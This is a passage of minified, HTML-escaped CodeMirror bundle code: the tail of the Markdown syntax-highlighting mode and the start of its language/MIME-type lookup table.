l(d)}if(d.taskOpen=!1,d.taskClosed=!1,d.header&amp;&amp;b.match(/^#+$/,!0))return c.highlightFormatting&amp;&amp;(d.formatting=&quot;header&quot;),l(d);var h=b.next();if(d.linkTitle){d.linkTitle=!1;var i=h;&quot;(&quot;===h&amp;&amp;(i=&quot;)&quot;),i=(i+&quot;&quot;).replace(/([.?*+^\[\]\\(){}|-])/g,&quot;\\$1&quot;);var k=&quot;^\\s*(?:[^&quot;+i+&quot;\\\\]+|\\\\\\\\|\\\\.)&quot;+i;if(b.match(new RegExp(k),!0))return w.linkHref}if(&quot;`&quot;===h){var m=d.formatting;c.highlightFormatting&amp;&amp;(d.formatting=&quot;code&quot;),b.eatWhile(&quot;`&quot;);var q=b.current().length;if(0!=d.code||d.quote&amp;&amp;1!=q){if(q==d.code){var r=l(d);return d.code=0,r}return d.formatting=m,l(d)}return d.code=q,l(d)}if(d.code)return l(d);if(&quot;\\&quot;===h&amp;&amp;(b.next(),c.highlightFormatting)){var s=l(d),t=w.formatting+&quot;-escape&quot;;return s?s+&quot; &quot;+t:t}if(&quot;!&quot;===h&amp;&amp;b.match(/\[[^\]]*\] ?(?:\(|\[)/,!1))return d.imageMarker=!0,d.image=!0,c.highlightFormatting&amp;&amp;(d.formatting=&quot;image&quot;),l(d);if(&quot;[&quot;===h&amp;&amp;d.imageMarker&amp;&amp;b.match(/[^\]]*\](\(.*?\)| ?\[.*?\])/,!1))return d.imageMarker=!1,d.imageAltText=!0,c.highlightFormatting&amp;&amp;(d.formatting=&quot;image&quot;),l(d);if(&quot;]&quot;===h&amp;&amp;d.imageAltText){c.highlightFormatting&amp;&amp;(d.formatting=&quot;image&quot;);var s=l(d);return d.imageAltText=!1,d.image=!1,d.inline=d.f=p,s}if(&quot;[&quot;===h&amp;&amp;!d.image)return d.linkText=!0,c.highlightFormatting&amp;&amp;(d.formatting=&quot;link&quot;),l(d);if(&quot;]&quot;===h&amp;&amp;d.linkText){c.highlightFormatting&amp;&amp;(d.formatting=&quot;link&quot;);var s=l(d);return d.linkText=!1,d.inline=d.f=b.match(/\(.*?\)| ?\[.*?\]/,!1)?p:n,s}if(&quot;&lt;&quot;===h&amp;&amp;b.match(/^(https?|ftps?):\/\/(?:[^\\&gt;]|\\.)+&gt;/,!1)){d.f=d.inline=o,c.highlightFormatting&amp;&amp;(d.formatting=&quot;link&quot;);var s=l(d);return s?s+=&quot; &quot;:s=&quot;&quot;,s+w.linkInline}if(&quot;&lt;&quot;===h&amp;&amp;b.match(/^[^&gt; \\]+@(?:[^\\&gt;]|\\.)+&gt;/,!1)){d.f=d.inline=o,c.highlightFormatting&amp;&amp;(d.formatting=&quot;link&quot;);var s=l(d);return s?s+=&quot; &quot;:s=&quot;&quot;,s+w.linkEmail}if(c.xml&amp;&amp;&quot;&lt;&quot;===h&amp;&amp;b.match(/^(!--|[a-z]+(?:\s+[a-z_:.\-]+(?:\s*=\s*[^ &gt;]+)?)*\s*&gt;)/i,!1)){var v=b.string.indexOf(&quot;&gt;&quot;,b.pos);if(v!=-1){var x=b.string.substring(b.start,v);/markdown\s*=\s*(&#039;|&quot;){0,1}1(&#039;|&quot;){0,1}/.test(x)&amp;&amp;(d.md_inside=!0)}return b.backUp(1),d.htmlState=a.startState(u),f(b,d,j)}if(c.xml&amp;&amp;&quot;&lt;&quot;===h&amp;&amp;b.match(/^\/\w*?&gt;/))return d.md_inside=!1,&quot;tag&quot;;if(&quot;*&quot;===h||&quot;_&quot;===h){for(var y=1,z=1==b.pos?&quot; &quot;:b.string.charAt(b.pos-2);y&lt;3&amp;&amp;b.eat(h);)y++;var B=b.peek()||&quot; &quot;,C=!/\s/.test(B)&amp;&amp;(!G.test(B)||/\s/.test(z)||G.test(z)),D=!/\s/.test(z)&amp;&amp;(!G.test(z)||/\s/.test(B)||G.test(B)),E=null,F=null;if(y%2&amp;&amp;(d.em||!C||&quot;*&quot;!==h&amp;&amp;D&amp;&amp;!G.test(z)?d.em!=h||!D||&quot;*&quot;!==h&amp;&amp;C&amp;&amp;!G.test(B)||(E=!1):E=!0),y&gt;1&amp;&amp;(d.strong||!C||&quot;*&quot;!==h&amp;&amp;D&amp;&amp;!G.test(z)?d.strong!=h||!D||&quot;*&quot;!==h&amp;&amp;C&amp;&amp;!G.test(B)||(F=!1):F=!0),null!=F||null!=E){c.highlightFormatting&amp;&amp;(d.formatting=null==E?&quot;strong&quot;:null==F?&quot;em&quot;:&quot;strong em&quot;),E===!0&amp;&amp;(d.em=h),F===!0&amp;&amp;(d.strong=h);var r=l(d);return E===!1&amp;&amp;(d.em=!1),F===!1&amp;&amp;(d.strong=!1),r}}else if(&quot; &quot;===h&amp;&amp;(b.eat(&quot;*&quot;)||b.eat(&quot;_&quot;))){if(&quot; &quot;===b.peek())return l(d);b.backUp(1)}if(c.strikethrough)if(&quot;~&quot;===h&amp;&amp;b.eatWhile(h)){if(d.strikethrough){c.highlightFormatting&amp;&amp;(d.formatting=&quot;strikethrough&quot;);var r=l(d);return d.strikethrough=!1,r}if(b.match(/^[^\s]/,!1))return d.strikethrough=!0,c.highlightFormatting&amp;&amp;(d.formatting=&quot;strikethrough&quot;),l(d)}else if(&quot; &quot;===h&amp;&amp;b.match(/^~~/,!0)){if(&quot; &quot;===b.peek())return l(d);b.backUp(2)}if(c.emoji&amp;&amp;&quot;:&quot;===h&amp;&amp;b.match(/^[a-z_\d+-]+:/)){d.emoji=!0,c.highlightFormatting&amp;&amp;(d.formatting=&quot;emoji&quot;);var H=l(d);return d.emoji=!1,H}return&quot; &quot;===h&amp;&amp;(b.match(/ +$/,!1)?d.trailingSpace++:d.trailingSpace&amp;&amp;(d.trailingSpaceNewLine=!0)),l(d)}function o(a,b){var d=a.next();if(&quot;&gt;&quot;===d){b.f=b.inline=n,c.highlightFormatting&amp;&amp;(b.formatting=&quot;link&quot;);var e=l(b);return e?e+=&quot; &quot;:e=&quot;&quot;,e+w.linkInline}return a.match(/^[^&gt;]+/,!0),w.linkInline}function p(a,b){if(a.eatSpace())return null;var d=a.next();return&quot;(&quot;===d||&quot;[&quot;===d?(b.f=b.inline=q(&quot;(&quot;===d?&quot;)&quot;:&quot;]&quot;),c.highlightFormatting&amp;&amp;(b.formatting=&quot;link-string&quot;),b.linkHref=!0,l(b)):&quot;error&quot;}function q(a){return function(b,d){var e=b.next();if(e===a){d.f=d.inline=n,c.highlightFormatting&amp;&amp;(d.formatting=&quot;link-string&quot;);var f=l(d);return d.linkHref=!1,f}return b.match(I[a]),d.linkHref=!0,l(d)}}function r(a,b){return a.match(/^([^\]\\]|\\.)*\]:/,!1)?(b.f=s,a.next(),c.highlightFormatting&amp;&amp;(b.formatting=&quot;link&quot;),b.linkText=!0,l(b)):e(a,b,n)}function s(a,b){if(a.match(/^\]:/,!0)){b.f=b.inline=t,c.highlightFormatting&amp;&amp;(b.formatting=&quot;link&quot;);var d=l(b);return b.linkText=!1,d}return a.match(/^([^\]\\]|\\.)+/,!0),w.linkText}function t(a,b){return a.eatSpace()?null:(a.match(/^[^\s]+/,!0),void 0===a.peek()?b.linkTitle=!0:a.match(/^(?:\s+(?:&quot;(?:[^&quot;\\]|\\\\|\\.)+&quot;|&#039;(?:[^&#039;\\]|\\\\|\\.)+&#039;|\((?:[^)\\]|\\\\|\\.)+\)))?/,!0),b.f=b.inline=n,w.linkHref+&quot; url&quot;)}var u=a.getMode(b,&quot;text/html&quot;),v=&quot;null&quot;==u.name;void 0===c.highlightFormatting&amp;&amp;(c.highlightFormatting=!1),void 0===c.maxBlockquoteDepth&amp;&amp;(c.maxBlockquoteDepth=0),void 0===c.taskLists&amp;&amp;(c.taskLists=!1),void 0===c.strikethrough&amp;&amp;(c.strikethrough=!1),void 0===c.emoji&amp;&amp;(c.emoji=!1),void 0===c.fencedCodeBlockHighlighting&amp;&amp;(c.fencedCodeBlockHighlighting=!0),void 0===c.xml&amp;&amp;(c.xml=!0),void 0===c.tokenTypeOverrides&amp;&amp;(c.tokenTypeOverrides={});var w={header:&quot;header&quot;,code:&quot;comment&quot;,quote:&quot;quote&quot;,list1:&quot;variable-2&quot;,list2:&quot;variable-3&quot;,list3:&quot;keyword&quot;,hr:&quot;hr&quot;,image:&quot;image&quot;,imageAltText:&quot;image-alt-text&quot;,imageMarker:&quot;image-marker&quot;,formatting:&quot;formatting&quot;,linkInline:&quot;link&quot;,linkEmail:&quot;link&quot;,linkText:&quot;link&quot;,linkHref:&quot;string&quot;,em:&quot;em&quot;,strong:&quot;strong&quot;,strikethrough:&quot;strikethrough&quot;,emoji:&quot;builtin&quot;};for(var x in w)w.hasOwnProperty(x)&amp;&amp;c.tokenTypeOverrides[x]&amp;&amp;(w[x]=c.tokenTypeOverrides[x]);var y=/^([*\-_])(?:\s*\1){2,}\s*$/,z=/^(?:[*\-+]|^[0-9]+([.)]))\s+/,A=/^\[(x| )\](?=\s)/i,B=c.allowAtxHeaderWithoutSpace?/^(#+)/:/^(#+)(?: |$)/,C=/^ *(?:\={1,}|-{1,})\s*$/,D=/^[^#!\[\]*_\\&lt;&gt;` &quot;&#039;(~:]+/,E=/^(~~~+|```+)[ \t]*([\w+#-]*)[^\n`]*$/,F=/^\s*\[[^\]]+?\]:\s*\S+(\s*\S*\s*)?$/,G=/[!\&quot;#$%&amp;\&#039;()*+,\-\.\/:;&lt;=&gt;?@\[\\\]^_`{|}~\u2014]/,H=&quot;    &quot;,I={&quot;)&quot;:/^(?:[^\\\(\)]|\\.|\((?:[^\\\(\)]|\\.)*\))*?(?=\))/,&quot;]&quot;:/^(?:[^\\\[\]]|\\.|\[(?:[^\\\[\]]|\\.)*\])*?(?=\])/},J={startState:function(){return{f:i,prevLine:{stream:null},thisLine:{stream:null},block:i,htmlState:null,indentation:0,inline:n,text:m,formatting:!1,linkText:!1,linkHref:!1,linkTitle:!1,code:0,em:!1,strong:!1,header:0,setext:0,hr:!1,taskList:!1,list:!1,listStack:[],quote:0,trailingSpace:0,trailingSpaceNewLine:!1,strikethrough:!1,emoji:!1,fencedEndRE:null}},copyState:function(b){return{f:b.f,prevLine:b.prevLine,thisLine:b.thisLine,block:b.block,htmlState:b.htmlState&amp;&amp;a.copyState(u,b.htmlState),indentation:b.indentation,localMode:b.localMode,localState:b.localMode?a.copyState(b.localMode,b.localState):null,inline:b.inline,text:b.text,formatting:!1,linkText:b.linkText,linkTitle:b.linkTitle,code:b.code,em:b.em,strong:b.strong,strikethrough:b.strikethrough,emoji:b.emoji,header:b.header,setext:b.setext,hr:b.hr,taskList:b.taskList,list:b.list,listStack:b.listStack.slice(0),quote:b.quote,indentedCode:b.indentedCode,trailingSpace:b.trailingSpace,trailingSpaceNewLine:b.trailingSpaceNewLine,md_inside:b.md_inside,fencedEndRE:b.fencedEndRE}},token:function(a,b){if(b.formatting=!1,a!=b.thisLine.stream){if(b.header=0,b.hr=!1,a.match(/^\s*$/,!0))return h(b),null;if(b.prevLine=b.thisLine,b.thisLine={stream:a},b.taskList=!1,b.trailingSpace=0,b.trailingSpaceNewLine=!1,b.f=b.block,b.f!=j){var c=a.match(/^\s*/,!0)[0].replace(/\t/g,H).length;if(b.indentation=c,b.indentationDiff=null,c&gt;0)return null}}return b.f(a,b)},innerMode:function(a){return a.block==j?{state:a.htmlState,mode:u}:a.localState?{state:a.localState,mode:a.localMode}:{state:a,mode:J}},indent:function(b,c,d){return b.block==j&amp;&amp;u.indent?u.indent(b.htmlState,c,d):b.localState&amp;&amp;b.localMode.indent?b.localMode.indent(b.localState,c,d):a.Pass},blankLine:h,getType:l,closeBrackets:&quot;()[]{}&#039;&#039;\&quot;\&quot;``&quot;,fold:&quot;markdown&quot;};return J},&quot;xml&quot;),a.defineMIME(&quot;text/x-markdown&quot;,&quot;markdown&quot;)})},{&quot;../../lib/codemirror&quot;:59,&quot;../meta&quot;:69,&quot;../xml/xml&quot;:75}],69:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;a.modeInfo=[{name:&quot;APL&quot;,mime:&quot;text/apl&quot;,mode:&quot;apl&quot;,ext:[&quot;dyalog&quot;,&quot;apl&quot;]},{name:&quot;PGP&quot;,mimes:[&quot;application/pgp&quot;,&quot;application/pgp-encrypted&quot;,&quot;application/pgp-keys&quot;,&quot;application/pgp-signature&quot;],mode:&quot;asciiarmor&quot;,ext:[&quot;asc&quot;,&quot;pgp&quot;,&quot;sig&quot;]},{name:&quot;ASN.1&quot;,mime:&quot;text/x-ttcn-asn&quot;,mode:&quot;asn.1&quot;,ext:[&quot;asn&quot;,&quot;asn1&quot;]},{name:&quot;Asterisk&quot;,mime:&quot;text/x-asterisk&quot;,mode:&quot;asterisk&quot;,file:/^extensions\.conf$/i},{name:&quot;Brainfuck&quot;,mime:&quot;text/x-brainfuck&quot;,mode:&quot;brainfuck&quot;,ext:[&quot;b&quot;,&quot;bf&quot;]},{name:&quot;C&quot;,mime:&quot;text/x-csrc&quot;,mode:&quot;clike&quot;,ext:[&quot;c&quot;,&quot;h&quot;]},{name:&quot;C++&quot;,mime:&quot;text/x-c++src&quot;,mode:&quot;clike&quot;,ext:[&quot;cpp&quot;,&quot;c++&quot;,&quot;cc&quot;,&quot;cxx&quot;,&quot;hpp&quot;,&quot;h++&quot;,&quot;hh&quot;,&quot;hxx&quot;],alias:[&quot;cpp&quot;]},{name:&quot;Cobol&quot;,mime:&quot;text/x-cobol&quot;,mode:&quot;cobol&quot;,ext:[&quot;cob&quot;,&quot;cpy&quot;]},{name:&quot;C#&quot;,mime:&quot;text/x-csharp&quot;,mode:&quot;clike&quot;,ext:[&quot;cs&quot;],alias:[&quot;csharp&quot;]},{name:&quot;Clojure&quot;,mime:&quot;text/x-clojure&quot;,mode:&quot;clojure&quot;,ext:[&quot;clj&quot;,&quot;cljc&quot;,&quot;cljx&quot;]},{name:&quot;ClojureScript&quot;,mime:&quot;text/x-clojurescript&quot;,mode:&quot;clojure&quot;,ext:[&quot;cljs&quot;]},{name:&quot;Closure Stylesheets (GSS)&quot;,mime:&quot;text/x-gss&quot;,mode:&quot;css&quot;,ext:[&quot;gss&quot;]},{name:&quot;CMake&quot;,mime:&quot;text/x-cmake&quot;,mode:&quot;cmake&quot;,ext:[&quot;cmake&quot;,&quot;cmake.in&quot;],file:/^CMakeLists.txt$/},{name:&quot;CoffeeScript&quot;,mimes:[&quot;application/vnd.coffeescript&quot;,&quot;text/coffeescript&quot;,&quot;text/x-coffeescript&quot;],mode:&quot;coffeescript&quot;,ext:[&quot;coffee&quot;],alias:[&quot;coffee&quot;,&quot;coffee-script&quot;]},{name:&quot;Common Lisp&quot;,mime:&quot;text/x-common-lisp&quot;,mode:&quot;commonlisp&quot;,ext:[&quot;cl&quot;,&quot;lisp&quot;,&quot;el&quot;],alias:[&quot;lisp&quot;]},{name:&quot;Cypher&quot;,mime:&quot;application/x-cypher-query&quot;,mode:&quot;cypher&quot;,ext:[&quot;cyp&quot;,&quot;cypher&quot;]},{name:&quot;Cython&quot;,mime:&quot;text/x-cython&quot;,mode:&quot;python&quot;,ext:[&quot;pyx&quot;,&quot;pxd&quot;,&quot;pxi&quot;]},{name:&quot;Crystal&quot;,mime:&quot;text/x-crystal&quot;,mode:&quot;crystal&quot;,ext:[&quot;cr&quot;]},{name:&quot;CSS&quot;,mime:&quot;text/css&quot;,mode:&quot;css&quot;,ext:[&quot;css&quot;]},{name:&quot;CQL&quot;,mime:&quot;text/x-cassandra&quot;,mode:&quot;sql&quot;,ext:[&quot;cql&quot;]},{name:&quot;D&quot;,mime:&quot;text/x-d&quot;,mode:&quot;d&quot;,ext:[&quot;d&quot;]},{name:&quot;Dart&quot;,mimes:[&quot;application/dart&quot;,&quot;text/x-dart&quot;],mode:&quot;dart&quot;,ext:[&quot;dart&quot;]},{name:&quot;diff&quot;,mime:&quot;text/x-diff&quot;,mode:&quot;diff&quot;,ext:[&quot;diff&quot;,&quot;patch&quot;]},{name:&quot;Django&quot;,mime:&quot;text/x-django&quot;,mode:&quot;django&quot;},{name:&quot;Dockerfile&quot;,mime:&quot;text/x-dockerfile&quot;,mode:&quot;dockerfile&quot;,file:/^Dockerfile$/},{name:&quot;DTD&quot;,mime:&quot;application/xml-dtd&quot;,mode:&quot;dtd&quot;,ext:[&quot;dtd&quot;]},{name:&quot;Dylan&quot;,mime:&quot;text/x-dylan&quot;,mode:&quot;dylan&quot;,ext:[&quot;dylan&quot;,&quot;dyl&quot;,&quot;intr&quot;]},{name:&quot;EBNF&quot;,mime:&quot;text/x-ebnf&quot;,mode:&quot;ebnf&quot;},{name:&quot;ECL&quot;,mime:&quot;text/x-ecl&quot;,mode:&quot;ecl&quot;,ext:[&quot;ecl&quot;]},{name:&quot;edn&quot;,mime:&quot;application/edn&quot;,mode:&quot;clojure&quot;,ext:[&quot;edn&quot;]},{name:&quot;Eiffel&quot;,mime:&quot;text/x-eiffel&quot;,mode:&quot;eiffel&quot;,ext:[&quot;e&quot;]},{name:&quot;Elm&quot;,mime:&quot;text/x-elm&quot;,mode:&quot;elm&quot;,ext:[&quot;elm&quot;]},{name:&quot;Embedded Javascript&quot;,mime:&quot;application/x-ejs&quot;,mode:&quot;htmlembedded&quot;,ext:[&quot;ejs&quot;]},{name:&quot;Embedded Ruby&quot;,mime:&quot;application/x-erb&quot;,mode:&quot;htmlembedded&quot;,ext:[&quot;erb&quot;]},{name:&quot;Erlang&quot;,mime:&quot;text/x-erlang&quot;,mode:&quot;erlang&quot;,ext:[&quot;erl&quot;]},{name:&quot;Factor&quot;,mime:&quot;text/x-factor&quot;,mode:&quot;factor&quot;,ext:[&quot;factor&quot;]},{name:&quot;FCL&quot;,mime:&quot;text/x-fcl&quot;,mode:&quot;fcl&quot;},{name:&quot;Forth&quot;,mime:&quot;text/x-forth&quot;,mode:&quot;forth&quot;,ext:[&quot;forth&quot;,&quot;fth&quot;,&quot;4th&quot;]},{name:&quot;Fortran&quot;,mime:&quot;text/x-fortran&quot;,mode:&quot;fortran&quot;,ext:[&quot;f&quot;,&quot;for&quot;,&quot;f77&quot;,&quot;f90&quot;]},{name:&quot;F#&quot;,mime:&quot;text/x-fsharp&quot;,mode:&quot;mllike&quot;,ext:[&quot;fs&quot;],alias:[&quot;fsharp&quot;]},{name:&quot;Gas&quot;,mime:&quot;text/x-gas&quot;,mode:&quot;gas&quot;,ext:[&quot;s&quot;]},{name:&quot;Gherkin&quot;,mime:&quot;text/x-feature&quot;,mode:&quot;gherkin&quot;,ext:[&quot;feature&quot;]},{name:&quot;GitHub Flavored Markdown&quot;,mime:&quot;text/x-gfm&quot;,mode:&quot;gfm&quot;,file:/^(readme|contributing|history).md$/i},{name:&quot;Go&quot;,mime:&quot;text/x-go&quot;,mode:&quot;go&quot;,ext:[&quot;go&quot;]},{name:&quot;Groovy&quot;,mime:&quot;text/x-groovy&quot;,mode:&quot;groovy&quot;,ext:[&quot;groovy&quot;,&quot;gradle&quot;],file:/^Jenkinsfile$/},{name:&quot;HAML&quot;,mime:&quot;text/x-haml&quot;,mode:&quot;haml&quot;,ext:[&quot;haml&quot;]},{name:&quot;Haskell&quot;,mime:&quot;text/x-haskell&quot;,mode:&quot;haskell&quot;,ext:[&quot;hs&quot;]},{name:&quot;Haskell (Literate)&quot;,mime:&quot;text/x-literate-haskell&quot;,mode:&quot;haskell-literate&quot;,ext:[&quot;lhs&quot;]},{name:&quot;Haxe&quot;,mime:&quot;text/x-haxe&quot;,mode:&quot;haxe&quot;,ext:[&quot;hx&quot;]},{name:&quot;HXML&quot;,mime:&quot;text/x-hxml&quot;,mode:&quot;haxe&quot;,ext:[&quot;hxml&quot;]},{name:&quot;ASP.NET&quot;,mime:&quot;application/x-aspx&quot;,mode:&quot;htmlembedded&quot;,ext:[&quot;aspx&quot;],alias:[&quot;asp&quot;,&quot;aspx&quot;]},{name:&quot;HTML&quot;,mime:&quot;text/html&quot;,mode:&quot;htmlmixed&quot;,ext:[&quot;html&quot;,&quot;htm&quot;],alias:[&quot;xhtml&quot;]},{name:&quot;HTTP&quot;,mime:&quot;message/http&quot;,mode:&quot;http&quot;},{name:&quot;IDL&quot;,mime:&quot;text/x-idl&quot;,mode:&quot;idl&quot;,ext:[&quot;pro&quot;]},{name:&quot;Pug&quot;,mime:&quot;text/x-pug&quot;,mode:&quot;pug&quot;,ext:[&quot;jade&quot;,&quot;pug&quot;],alias:[&quot;jade&quot;]},{name:&quot;Java&quot;,mime:&quot;text/x-java&quot;,mode:&quot;clike&quot;,ext:[&quot;java&quot;]},{name:&quot;Java Server Pages&quot;,mime:&quot;application/x-jsp&quot;,mode:&quot;htmlembedded&quot;,ext:[&quot;jsp&quot;],alias:[&quot;jsp&quot;]},{name:&quot;JavaScript&quot;,mimes:[&quot;text/javascript&quot;,&quot;text/ecmascript&quot;,&quot;application/javascript&quot;,&quot;application/x-javascript&quot;,&quot;application/ecmascript&quot;],mode:&quot;javascript&quot;,ext:[&quot;js&quot;],alias:[&quot;ecmascript&quot;,&quot;js&quot;,&quot;node&quot;]},{name:&quot;JSON&quot;,mimes:[&quot;application/json&quot;,&quot;application/x-json&quot;],mode:&quot;javascript&quot;,ext:[&quot;json&quot;,&quot;map&quot;],alias:[&quot;json5&quot;]},{name:&quot;JSON-LD&quot;,mime:&quot;application/ld+json&quot;,mode:&quot;javascript&quot;,ext:[&quot;jsonld&quot;],alias:[&quot;jsonld&quot;]},{name:&quot;JSX&quot;,mime:&quot;text/jsx&quot;,mode:&quot;jsx&quot;,ext:[&quot;jsx&quot;]},{name:&quot;Jinja2&quot;,mime:&quot;null&quot;,mode:&quot;jinja2&quot;},{name:&quot;Julia&quot;,mime:&quot;text/x-julia&quot;,mode:&quot;julia&quot;,ext:[&quot;jl&quot;]},{name:&quot;Kotlin&quot;,mime:&quot;text/x-kotlin&quot;,mode:&quot;clike&quot;,ext:[&quot;kt&quot;]},{name:&quot;LESS&quot;,mime:&quot;text/x-less&quot;,mode:&quot;css&quot;,ext:[&quot;less&quot;]},{name:&quot;LiveScript&quot;,mime:&quot;text/x-livescript&quot;,mode:&quot;livescript&quot;,ext:[&quot;ls&quot;],alias:[&quot;ls&quot;]},{name:&quot;Lua&quot;,mime:&quot;text/x-lua&quot;,mode:&quot;lua&quot;,ext:[&quot;lua&quot;]},{name:&quot;Markdown&quot;,mime:&quot;text/x-markdown&quot;,mode:&quot;markdown&quot;,ext:[&quot;markdown&quot;,&quot;md&quot;,&quot;mkd&quot;]},{name:&quot;mIRC&quot;,mime:&quot;text/mirc&quot;,mode:&quot;mirc&quot;},{name:&quot;MariaDB SQL&quot;,mime:&quot;text/x-mariadb&quot;,mode:&quot;sql&quot;},{name:&quot;Mathematica&quot;,mime:&quot;text/x-mathematica&quot;,mode:&quot;mathematica&quot;,ext:[&quot;m&quot;,&quot;nb&quot;]},{name:&quot;Modelica&quot;,mime:&quot;text/x-modelica&quot;,mode:&quot;modelica&quot;,ext:[&quot;mo&quot;]},{name:&quot;MUMPS&quot;,mime:&quot;text/x-mumps&quot;,mode:&quot;mumps&quot;,ext:[&quot;mps&quot;]},{name:&quot;MS SQL&quot;,mime:&quot;text/x-mssql&quot;,mode:&quot;sql&quot;},{name:&quot;mbox&quot;,mime:&quot;application/mbox&quot;,mode:&quot;mbox&quot;,ext:[&quot;mbox&quot;]},{name:&quot;MySQL&quot;,mime:&quot;text/x-mysql&quot;,mode:&quot;sql&quot;},{name:&quot;Nginx&quot;,mime:&quot;text/x-nginx-conf&quot;,mode:&quot;nginx&quot;,file:/nginx.*\.conf$/i},{name:&quot;NSIS&quot;,mime:&quot;text/x-nsis&quot;,mode:&quot;nsis&quot;,ext:[&quot;nsh&quot;,&quot;nsi&quot;]},{name:&quot;NTriples&quot;,mimes:[&quot;application/n-triples&quot;,&quot;application/n-quads&quot;,&quot;text/n-triples&quot;],mode:&quot;ntriples&quot;,ext:[&quot;nt&quot;,&quot;nq&quot;]},{name:&quot;Objective C&quot;,mime:&quot;text/x-objectivec&quot;,mode:&quot;clike&quot;,ext:[&quot;m&quot;,&quot;mm&quot;],alias:[&quot;objective-c&quot;,&quot;objc&quot;]},{name:&quot;OCaml&quot;,mime:&quot;text/x-ocaml&quot;,mode:&quot;mllike&quot;,ext:[&quot;ml&quot;,&quot;mli&quot;,&quot;mll&quot;,&quot;mly&quot;]},{name:&quot;Octave&quot;,mime:&quot;text/x-octave&quot;,mode:&quot;octave&quot;,ext:[&quot;m&quot;]},{name:&quot;Oz&quot;,mime:&quot;text/x-oz&quot;,mode:&quot;oz&quot;,ext:[&quot;oz&quot;]},{name:&quot;Pascal&quot;,mime:&quot;text/x-pascal&quot;,mode:&quot;pascal&quot;,ext:[&quot;p&quot;,&quot;pas&quot;]},{name:&quot;PEG.js&quot;,mime:&quot;null&quot;,mode:&quot;pegjs&quot;,ext:[&quot;jsonld&quot;]},{name:&quot;Perl&quot;,mime:&quot;text/x-perl&quot;,mode:&quot;perl&quot;,ext:[&quot;pl&quot;,&quot;pm&quot;]},{name:&quot;PHP&quot;,mime:&quot;application/x-httpd-php&quot;,mode:&quot;php&quot;,ext:[&quot;php&quot;,&quot;php3&quot;,&quot;php4&quot;,&quot;php5&quot;,&quot;php7&quot;,&quot;phtml&quot;]},{name:&quot;Pig&quot;,mime:&quot;text/x-pig&quot;,mode:&quot;pig&quot;,ext:[&quot;pig&quot;]},{name:&quot;Plain Text&quot;,mime:&quot;text/plain&quot;,mode:&quot;null&quot;,ext:[&quot;txt&quot;,&quot;text&quot;,&quot;conf&quot;,&quot;def&quot;,&quot;list&quot;,&quot;log&quot;]},{name:&quot;PLSQL&quot;,mime:&quot;text/x-plsql&quot;,mode:&quot;sql&quot;,ext:[&quot;pls&quot;]},{name:&quot;PowerShell&quot;,mime:&quot;application/x-powershell&quot;,mode:&quot;powershell&quot;,ext:[&quot;ps1&quot;,&quot;psd1&quot;,&quot;psm1&quot;]},{name:&quot;Properties files&quot;,mime:&quot;text/x-properties&quot;,mode:&quot;properties&quot;,ext:[&quot;properties&quot;,&quot;ini&quot;,&quot;in&quot;],alias:[&quot;ini&quot;,&quot;properties&quot;]},{name:&quot;ProtoBuf&quot;,mime:&quot;text/x-protobuf&quot;,mode:&quot;protobuf&quot;,ext:[&quot;proto&quot;]},{name:&quot;Python&quot;,mime:&quot;text/x-python&quot;,mode:&quot;python&quot;,ext:[&quot;BUILD&quot;,&quot;bzl&quot;,&quot;py&quot;,&quot;pyw&quot;],file:/^(BUCK|BUILD)$/},{name:&quot;Puppet&quot;,mime:&quot;text/x-puppet&quot;,mode:&quot;puppet&quot;,ext:[&quot;pp&quot;]},{name:&quot;Q&quot;,mime:&quot;text/x-q&quot;,mode:&quot;q&quot;,ext:[&quot;q&quot;]},{name:&quot;R&quot;,mime:&quot;text/x-rsrc&quot;,mode:&quot;r&quot;,ext:[&quot;r&quot;,&quot;R&quot;],alias:[&quot;rscript&quot;]},{name:&quot;reStructuredText&quot;,mime:&quot;text/x-rst&quot;,mode:&quot;rst&quot;,ext:[&quot;rst&quot;],alias:[&quot;rst&quot;]},{name:&quot;RPM Changes&quot;,mime:&quot;text/x-rpm-changes&quot;,mode:&quot;rpm&quot;},{name:&quot;RPM Spec&quot;,mime:&quot;text/x-rpm-spec&quot;,mode:&quot;rpm&quot;,ext:[&quot;spec&quot;]},{name:&quot;Ruby&quot;,mime:&quot;text/x-ruby&quot;,mode:&quot;ruby&quot;,ext:[&quot;rb&quot;],alias:[&quot;jruby&quot;,&quot;macruby&quot;,&quot;rake&quot;,&quot;rb&quot;,&quot;rbx&quot;]},{name:&quot;Rust&quot;,mime:&quot;text/x-rustsrc&quot;,mode:&quot;rust&quot;,ext:[&quot;rs&quot;]},{name:&quot;SAS&quot;,mime:&quot;text/x-sas&quot;,mode:&quot;sas&quot;,ext:[&quot;sas&quot;]},{name:&quot;Sass&quot;,mime:&quot;text/x-sass&quot;,mode:&quot;sass&quot;,ext:[&quot;sass&quot;]},{name:&quot;Scala&quot;,mime:&quot;text/x-scala&quot;,mode:&quot;clike&quot;,ext:[&quot;scala&quot;]},{name:&quot;Scheme&quot;,mime:&quot;text/x-scheme&quot;,mode:&quot;scheme&quot;,ext:[&quot;scm&quot;,&quot;ss&quot;]},{name:&quot;SCSS&quot;,mime:&quot;text/x-scss&quot;,mode:&quot;css&quot;,ext:[&quot;scss&quot;]},{name:&quot;Shell&quot;,mimes:[&quot;text/x-sh&quot;,&quot;application/x-sh&quot;],mode:&quot;shell&quot;,ext:[&quot;sh&quot;,&quot;ksh&quot;,&quot;bash&quot;],alias:[&quot;bash&quot;,&quot;sh&quot;,&quot;zsh&quot;],file:/^PKGBUILD$/},{name:&quot;Sieve&quot;,mime:&quot;application/sieve&quot;,mode:&quot;sieve&quot;,ext:[&quot;siv&quot;,&quot;sieve&quot;]},{name:&quot;Slim&quot;,mimes:[&quot;text/x-slim&quot;,&quot;application/x-slim&quot;],mode:&quot;slim&quot;,ext:[&quot;slim&quot;]},{name:&quot;Smalltalk&quot;,mime:&quot;text/x-stsrc&quot;,mode:&quot;smalltalk&quot;,ext:[&quot;st&quot;]},{name:&quot;Smarty&quot;,mime:&quot;text/x-smarty&quot;,mode:&quot;smarty&quot;,ext:[&quot;tpl&quot;]},{name:&quot;Solr&quot;,mime:&quot;text/x-solr&quot;,mode:&quot;solr&quot;},{name:&quot;Soy&quot;,mime:&quot;text/x-soy&quot;,mode:&quot;soy&quot;,ext:[&quot;soy&quot;],alias:[&quot;closure 